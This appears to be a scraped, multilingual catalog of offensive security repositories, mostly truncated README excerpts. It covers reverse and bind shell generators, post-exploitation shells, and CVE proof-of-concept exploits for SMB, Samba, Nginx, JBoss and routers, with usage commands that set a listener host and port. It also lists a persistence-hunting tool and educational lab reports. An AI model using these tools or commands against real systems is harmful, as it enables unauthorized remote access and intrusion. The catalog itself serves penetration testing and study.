postshell

PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

GoSH

GoSH Golang 反向/绑定 shell 生成器 描述 该工具生成一个 Go 二进制文件，可在目标主机上启动所需类型的 shell。 该 shell 二进制文件可以为多个平台编译，支持部分多态性（唯一函数名），并且可以使用 UDP 协议替代默认的 TCP。如果您通过已建立的连接发送 DELETE 命令，该 shell 二进制文件会从执行它的主机上自行删除。 许可证 本软件遵循 MIT 许可证...

persisthunt

Linux 持久化检测、威胁狩猎与取证工件收集 摘要 使用方法 检测示例 技术表 摘要 persisthunt.sh 通过收集与持久化相关的定向取证工件并高亮常见于 Linux 持久化技术的可疑模式，帮助加快调查速度。 该脚本协助检测持久化、威胁狩猎，并针对广为人知的 Linux 持久化机制收集工件。检测结果根据置信度和严重性分为三个级别 - 高、低 和 参考信息。示例包括引用 /tmp/、/home/、/dev/tcp、curl 的可疑自启动条目，或检测到活跃的绑定/反向 shell。...

One-Lin3r

One-Lin3r One-Lin3r 是一个简单、模块化且轻量级的框架，为您提供渗透测试（Windows、Linux、macOS 甚至 BSD 系统）或一般黑客攻击时所需的全部单行命令，并具有许多新功能，使这一切完全自动化（例如：您甚至无需复制单行命令）。 版本 2 的截图 它包含各种不同类型的单行命令，具有不同的功能，其中一些包括： 单行命令功能| 该功能的作用 ---|--- 反向 Shell| 提供反向 shell 的各种方法和命令。 权限提升| 许多用于枚举和权限提升的命令。 绑定 Shell| 提供绑定 shell 的各种方法和命令。 下载执行|...

CVE-2020-0796

CVE-2020-0796 可用的漏洞利用 PoC（CVE-2020-0796）— 反向绑定 Shell 已在 Python 2.7 上测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

revsh

revsh revsh 是一款用于建立带有终端支持的反向 Shell、用于高级横向移动的反向 VPN 以及任意数据隧道的工具。 新闻 2018-08-09 : 新版本发布。主要是错误/稳定性修复以及更好的 OpenSSL 1.1.0 构建文档。有关更新后的构建说明，请参阅下方的《安装》部分。 概述 什么是“反向 Shell”？ 反向 Shell 是一种网络连接，可授予对远程主机的 Shell 访问权限。与 telnet 和 ssh 等其他远程登录工具不同，反向 Shell 由远程主机发起。这种从远程网络出站连接的技术能够规避仅配置为阻止入站连接的防火墙。 什么是“反向 VPN”？ rev...

ShellPop

ShellPop 关于 Shellpop 专注于弹出 shell。使用此工具，您可以生成简单或复杂的反向或绑定 shell 命令，以帮助您在渗透测试期间使用。 不要再浪费时间用 .txt 文件存储您的反向 shell 了！ 安装 需要 Python 2.7。 3.0+ 版本将无法工作。 所需依赖安装 root@kali apt-get install python-argcomplete metasploit-framework -y root@kali pip install -r requirements.txt 设置安装 root@kali python setup.py...

nginxhack

这是一个利用名为 CVE-2013-2028 的漏洞来在运行 Nginx 1.3.9 或 1.4.0 的目标服务器上执行一个 绑定壳 的工具。 可以从 这里 下载（你需要从命令行运行它） 使用方法： nginxhack target target port target bind port...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry 漏洞利用 针对 Samba 的 SambaCry CVE-2017-7494 漏洞利用（无需 Metasploit 的绑定 Shell） 如果需要更改端口，只需修改 bindshell-samba.c 的第 68 行并重新编译： gcc -c -fpic bindshell-samba.c gcc -shared -o libbindshell-samba.so bindshell-samba.o 如何利用： 查看共享（在本例中我们使用匿名用户）： smbclient -L //192.168.10.131/ -U "" -N Sharena...

CVE-2020-0910

CVE-2020-0910 工作利用PoC CVE-2020-0910 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

SLAE

SecurityTube Linux Assembly Expert Esta entrada de blog ha sido creada para cumplir los requisitos de la certificación SecurityTube Linux Assembly Expert: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ID de estudiante: SLAE-1134 Artículos Tarea 1: Shell bind...

jboss-autopwn

⚠️ NOTE: This tool is no longer under active maintenance. JBoss Autopwn 脚本 Christian G. Papathanasiou http://www.spiderlabs.com 简介 该JBoss脚本在目标JBoss AS服务器上部署一个JSP Shell。部署后，脚本利用其上传和命令执行功能提供一个交互式会话。 功能包括： 多平台支持——已在Windows、Linux和Mac目标上测试 支持绑定Shell和反向连接Shell 针对Windows目标的Meterpreter Shell和VNC支持 安装 依赖项包...

hacktivity-vulns-exploits-lab

Vulnerabilidades, Exploits y Payloads de Acceso Remoto — informe de laboratorio Mi recorrido y análisis de la hoja de Hacktivity Cyber Security Labs "Vulnerabilities, Exploits, and Remote Access Payloads" curso de Ethical Hacking y Penetration Testing, Leeds Beckett University. Cubre cómo las...

badblood

Bad Blood Bad Blood is an exploit for CVE-2021-20038, a stack-based buffer overflow in the httpd binary of SMA-100 series systems using firmware versions 10.2.1.x. I've written a lot of the technical details here: AttackerKB CVE-2021-20038 The exploit, as written, will open up a telnet bind shell...

Pwnkit-go

PwnKit-go-LPE CVE-2021-4034 Un exploit basado en golang para CVE-2021-4034, apodado pwnkit @@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@ @@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@ !@! @!@ !@! !@!...

CVE-2024-27348

🔥 CVE-2024-27348 利用工具包 🎓 学术项目 📚 课程: FC411 - 安全网络设计 👨‍🏫 讲师: Dr. Maira Sultan 🏫 大学: 穆格林王子大学 📅 年份: 2025 ⚡ 一个完整的 CVE-2024-27348 Apache Huge-Graph-Server 利用工具包，作为 FC411 课程要求的一部分开发。该项目包括用于教育目的的漏洞利用程序和绑定 shell。 📋 目录 📖 概述 🛠️ 包含的工具 ✅ 前提条件 📦 安装 🚀 使用方法 ⚠️ 漏洞详情 🚨 警告与免责声明 🔒 缓解措施 📖 概述 此仓库包含两个用于利用 CVE-2024-27348...

CVE-2020-0688

CVE-2020-0688 工作利用PoC CVE-2020-0688 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

metasploitable-pentest-report

Metasploitable 2 — Informe de Prueba de Penetración Descargo de responsabilidad: Esta prueba de penetración se realizó en un entorno de laboratorio privado y aislado de VMware con fines educativos únicamente. No se accedió a sistemas reales. Todas las direcciones IP han sido anonimizadas. Resumen...

CVE-2024-54887-PoC

CVE-2024-54887 TypeScript 概念验证 此仓库包含对公开的 CVE-2024-54887 （TP-Link TL-WR940N v3/v4 认证远程代码执行）Python 概念验证的 TypeScript ts-node 重写版本。 前提条件 Node.js 20 或更高版本 安装 npm install 使用方法 npx ts-node .\cve-2024-54887.ts --ip 可选凭据： npx ts-node .\cve-2024-54887.ts --ip --username --password 也支持短标志： npx ts-node...